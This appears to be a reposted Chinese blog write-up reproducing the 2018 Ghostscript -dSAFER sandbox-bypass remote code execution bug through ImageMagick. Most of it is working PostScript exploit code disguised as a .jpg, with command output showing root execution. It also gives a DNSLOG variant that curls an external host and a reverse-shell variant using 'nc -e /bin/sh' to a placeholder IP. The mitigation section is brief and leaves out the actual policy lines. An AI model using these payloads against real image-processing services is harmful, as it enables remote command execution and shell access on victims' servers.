ghostscript远程代码执行漏洞复现
Posted nayu
tags:
篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了ghostscript远程代码执行漏洞复现相关的知识,希望对你有一定的参考价值。
这两天网上ghostscript又又有漏洞信息了,但是没有poc,于是找找资料把今年8月21日的那个验证下
1、关于ghostscript
Ghostscript是一套建基于Adobe、PostScript及可移植文档格式(PDF)的页面描述语言等而编译成的免费软件。
最初是以商业软件形式在PC市场上发售,并称之为“GoScript”。但由于速度太慢(半小时一版A4),销量极差。后来有心人买下了版权,并改在Linux上开发,成为了今日的Ghostscript。
已经从Linux版本移植到其他操作系统,如其他Unix、Mac OS X、VMS、Windows、OS/2和Mac OS classic。
基于ghostscript的上游应用有Imagemagick、libmagick、graphicsmagick、gimp、python-matplotlib、texlive-core、texmacs、latex2html、latex2rtf等
还是挺多的,2016年被披露的“魔图”漏洞是就是imagemagick被暴露的漏洞;
8月21日Ghostscript被爆出包含多个-dSAFER沙箱绕过漏洞。-dSAFER是Ghostscript用于防止不安全PostScript操作的安全沙箱。此漏洞与2016年出现的沙箱绕过漏洞(CVE-2016-3714)类似,远程未经身份验证的攻击者可通过多种PostScript操作来绕过-dSAFER提供的保护,在易受攻击的系统上执行任意命令。ImageMagick等默认使用Ghostscript来处理PostScript内容的应用,将受到此漏洞影响。
2、漏洞信息
影响范围 :<= 9.23(全版本,全平台)
漏洞作者:Tavis Ormandy
3、漏洞复现
环境:
KALI 2018.02 rolling
ghostscript:GPL Ghostscript 9.22 (2017-10-04)
imagemagick未确认
POC信息
1 [email protected]:~# cat test.jpg
2 %!PS
3 userdict /setpagedevice undef
4 save
5 legal
6 { null restore } stopped { pop } if
7 { legal } stopped { pop } if
8 restore
9 mark /OutputFile (%pipe%id) currentdevice putdeviceprops
10 [email protected]:~# convert test.jpg test.gif
11 uid=0(root) gid=0(root) 组=0(root)
12 convert-im6.q16: FailedToExecuteCommand `‘gs‘ -sstdout=%stderr -dQUIET -dSAFER -dBATCH -dNOPAUSE -dNOPROMPT -dMaxBitmap=500000000 -dAlignToPixels=0 -dGridFitTT=2 ‘-sDEVICE=pngalpha‘ -dTextAlphaBits=4 -dGraphicsAlphaBits=4 ‘-r72x72‘ -g612x792 ‘-sOutputFile=/tmp/magick-7925iEZJksvksDOI%d‘ ‘-f/tmp/magick-79250M4URvG5ediB‘ ‘-f/tmp/magick-7925ORuyFX7DkULt‘ -c showpage‘ (-1) @ error/delegate.c/ExternalDelegateCommand/462.
13 convert-im6.q16: no images defined `test.gif‘ @ error/convert.c/ConvertImageCommand/3258.
14 [email protected]:~#
使用DNSLOG获取信息:
1 %!PS
2 userdict /setpagedevice undef
3 save
4 legal
5 { null restore } stopped { pop } if
6 { legal } stopped { pop } if
7 restore
8 mark /OutputFile (%pipe%curl http://XXX.ceye.io) currentdevice putdeviceprops
反弹Shell信息:
1 %!PS
2 userdict /setpagedevice undef
3 save
4 legal
5 { null restore } stopped { pop } if
6 { legal } stopped { pop } if
7 restore
8 mark /OutputFile (%pipe%$(nc -e /bin/sh X.X.X.X 8080)) currentdevice putd
9 eviceprops
本来是准备用一个centos7的虚拟机来做环境测试,无奈一直报错没解决,可能已经拦截这些poc代码了???
1 [[email protected] ~]# convert test.jpeg poc.gif
2 Error: /invalidaccess in --.putdeviceprops--
3 Operand stack:
4
5 Execution stack:
6 %interp_exit .runexec2 --nostringval-- --nostringval-- --nostringval-- 2 %stopped_push --nostringval-- --nostringval-- --nostringval-- false 1 %stopped_push 1884 1 3 %oparray_pop 1883 1 3 %oparray_pop 1867 1 3 %oparray_pop 1755 1 3 %oparray_pop --nostringval-- %errorexec_pop .runexec2 --nostringval-- --nostringval-- --nostringval-- 2 %stopped_push --nostringval-- 1753 4 3 %oparray_pop --nostringval-- 1734 4 3 %oparray_pop
7 Dictionary stack:
8 --dict:1172/1684(ro)(G)-- --dict:0/20(G)-- --dict:77/200(L)--
9 Current allocation mode is local
10 Last OS error: No such file or directory
11 Current file position is 140
12 GPL Ghostscript 9.07: Unrecoverable error, exit code 1
13 Error: /invalidaccess in --.putdeviceprops--
14 Operand stack:
15
16 Execution stack:
17 %interp_exit .runexec2 --nostringval-- --nostringval-- --nostringval-- 2 %stopped_push --nostringval-- --nostringval-- --nostringval-- false 1 %stopped_push 1884 1 3 %oparray_pop 1883 1 3 %oparray_pop 1867 1 3 %oparray_pop 1755 1 3 %oparray_pop --nostringval-- %errorexec_pop .runexec2 --nostringval-- --nostringval-- --nostringval-- 2 %stopped_push --nostringval-- 1753 4 3 %oparray_pop --nostringval-- 1734 4 3 %oparray_pop
18 Dictionary stack:
19 --dict:1172/1684(ro)(G)-- --dict:0/20(G)-- --dict:77/200(L)--
20 Current allocation mode is local
21 Last OS error: No such file or directory
22 Current file position is 140
23 GPL Ghostscript 9.07: Unrecoverable error, exit code 1
24 convert: Postscript delegate failed `test.jpeg‘: 没有那个文件或目录 @ error/ps.c/ReadPSImage/832.
25 convert: no images defined `poc.gif‘ @ error/convert.c/ConvertImageCommand/3046.
4、注意事项:
kali因为是基于ubuntu的操作系统,所以这次的poc用的就是ubuntu版本的代码;
Centos版本和ubuntu略不一样,可尝试如下代码:
1 %!PS
2 userdict /setpagedevice undef
3 legal
4 { null restore } stopped { pop } if
5 legal
6 mark /OutputFile (%pipe%id) currentdevice putdeviceprops
5、修复
卸载???卸载是不可能的
使用ImageMagick,建议修改policy文件(默认位置:/etc/ImageMagick/policy.xml),在 <policymap> 中加入以下 <policy>(即禁用 PS、EPS、PDF、XPS coders):
这里由于是使用Kali进行测试,路径为 /etc/ImageMagick-6/policy.xml
再次测试:
以上是关于ghostscript远程代码执行漏洞复现的主要内容,如果未能解决你的问题,请参考以下文章
WordPress Social Warfare组件 远程代码漏洞执行详细复现
Samba远程代码执行漏洞(CVE-2017-7494)复现